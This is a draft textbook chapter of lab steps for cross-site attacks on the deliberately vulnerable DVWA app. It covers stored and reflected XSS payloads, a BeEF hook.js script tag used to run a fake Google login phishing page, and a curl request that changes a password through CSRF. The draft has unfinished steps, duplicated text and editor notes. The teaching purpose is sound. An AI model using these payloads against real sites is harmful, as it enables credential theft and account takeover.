Chapter 5 Cross-Site Attacks

“Love all, trust a few, do wrong to none”  - William Shakespeare, All’s Well That Ends Well

5.1 Background: Cross Site Scripting (XSS) Attacks

In this section we will look at two types of Cross Site Scripting Attacks:

  • Stored Cross Scripting Attacks: Malicious JavaScript is permanently stored on a webpage.
  • Reflected Cross Scripting Attacks: Malicious JavaScript is temporally injected into a webpage.

5.1.1 Stored Cross Site Scripting Attacks

Step 1: Start your metasploitable virtual machine.

Step 2: Log into the machine: username: msfadmin, password: msfadmin

Step 3: get the ip-address of the machine by running the ifconfig command.

Step 4: Access the server by typing this IP-Address into the browser.

Step 5: Click on the DVWA link

Step 6: Click on login using username: admin and password: password. (Yeah insecure I know)

The figure above shows the log in page of DVWA

FIGURE 5.1: The figure above shows the log in page of DVWA

Step 7: Set your security settings to low

Step 8: Click on the tab labeled XSS stored.

Step 9: Type the following scripting in to the message box.

<script> alert("Hacked")</script>

Step 10: Save and post the message. Notice that message simply get posted to web page without striping the tags, thus executing the script and causing an alert box to pop up with Hacked in it. Though being able to execute any arbitrary JavaScript in user browser will allow a hacker to do very malicious things: like stealing a user’s credentials or cookie.

5.1.2 Reflected Cross Site Scripting Attacks

Step 1: Open an new tab and type the IP-Address of your web server in the tab.

Step 2: Click on DVWA link

Step 3: Click on the tab XSS reflected

Step 4: Type test in submission box.

Step 5: URL in the browser. Notice that query parameter is simply reflected back on the page.

"http://mestaIPaddr/dvwa/vulnerabilities/xss\_r/?name=test#"

Where mestaIPaddr is the IP address you got from your metasploitable machine

This means that we can craft a creative URL that will execute some JavaScript on the page.

"http://mestaIPaddr/dvwa/vulnerabilities/xss\_r/?name=<script>alert("hacked")</script>"

Step 6: Copy the above URL into your browser and press run.

Step 7: Great you just executed your first sample cross Site Scripting attack.

Now let’s look at more interesting payloads.

5.2 XSS Beef Payload

Now that we understand how these cross-site scripting attacks work. Let’s look at tool that allows hackers to deploy a malicious payload and embed it an website.

Step 1: Start the Beef Cross Scripting by clicking the BEEF icon

Step 2: Once the framework starts you should see the screen below:

The figure above shows the start up terminal window associated with beef XSS window

FIGURE 5.2: The figure above shows the start up terminal window associated with beef XSS window

If an attacker were to use the beef cross-site scripting framework they would deploy it on a server that they have already compromised. (so that the comprised machine could not be traced back to the attacker). In this lab we will simply deploy the beef framework on our machine.

Step 3: Access the BeEF UI panel by opening Firefox and typing

http://127.0.0.1:3000/ui/panel

Step 4: You should see the UI screen below. Log-in to BeEF using username: beef and password: beef.

The Beef UI framework

FIGURE 5.3: The Beef UI framework

Step 5: Copy the example script below. This contains the malicious JavaScript:

<script src="127.0.0.1:3000/hook.js"> </script>

======= Step 5: Copy the example script below. This contains the malicious

<script src="127.0.0.1:3000/hook.js"> </script>

This is a malicious script that we are going to use in our stored cross- site scripting attack.

Step 6: Using the IP address obtained earlier navigate to DVWA and login. This time instead of injecting:

<script>alert();<script>

=======

<script>alert();<script>

we are going to inject the script that loads the hook.js file above.

Step 7: Inject the script in the message box section of the page and refresh the page. You have now compromised your own browser.

Step 8: Open a new tab and navigate to http://127.0.0.1:3000/ui/panel

Step 9: You should now see your browser in the list of Online browsers. Click on the IP-128.0.0.1 and Select the Commands Tabs and Click on Social Engineering Folder Select Google Phishing Attack. (This will replace the default webpage, with a Google log-in screen. Once the user has entered the credentials, the log-in screen will disappear)

Shows the Command and Control Section of the google phishing attack

FIGURE 5.4: Shows the Command and Control Section of the google phishing attack

Step 10: Update the XSS hook URL to :

http://[Your−IP]/dvwa/vulnerabilities/xss_s/
This way once the user “logs-in” they will be redirected back to the
guest book page.
The figure above shows the updated XSS URL on the right

FIGURE 5.5: The figure above shows the updated XSS URL on the right

Step 11: Click Execute and Navigate back to the tab in which you originally performed the exploit. You should see the fake Google login screen below. You might have to go to basic demo page (to see the fake Google login screen) by clicking the link under `Getting Started’

Sample Fake Google Login Screen

FIGURE 5.6: Sample Fake Google Login Screen

Step 12: Enter the fake credentials username:test password:test

The figure above shows the credentials that have been stolen using the phishing attack

FIGURE 5.7: The figure above shows the credentials that have been stolen using the phishing attack

Step 13: Click on command 1 in the Module Results History Panel.

5.2.1 Automatically Scanning A Web-page for Cross-Site Scripting Vulnerabilities

fix:To prevent these vulnerabilities from being exploited in your own
system you first need to be discover them.
In this section will look at a tool called XSSER that allow us to automat-
ically scan for Cross-Site Scripting vulnerabilities across.

Step 1: Open the terminal and start XSSER by typing the following command:

5.3 Cross Site Request Forgery (CSRF) Attacks

The next attack that we will look at is the cross site request forgery at-
tack. In Cross Site Request Forgery Attack a user submits a request while
impersonating another user. [Need to have a cleaner definition]
Figure 4.10: Caption

Step 1: Start DVWA

Step 2: Click on CRSF tab.

Step 3: Complete the change password form using password: botTest. Do you notice anything unique about the URL? Notice that password is included directly in the URL. This means that if we can find a similar web application on the web. We can change the default password by simply accessing that web-page

The figure above shows the change password form and the new password in the URL

FIGURE 5.8: The figure above shows the change password form and the new password in the URL

Step 4: Log out from DVWA by clicking the Logout button

Step 5: Open the terminal and change the password to ‘password1’ by executing the following command:

curl http://10.0.2.4/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change#

Open the link the terminal outputs after you execute the above command.

Command to change the password of the user in DVWAL

FIGURE 5.9: Command to change the password of the user in DVWAL

Step 6: Now try logging back into DVWA using the username, ‘admin’ and password you just reset.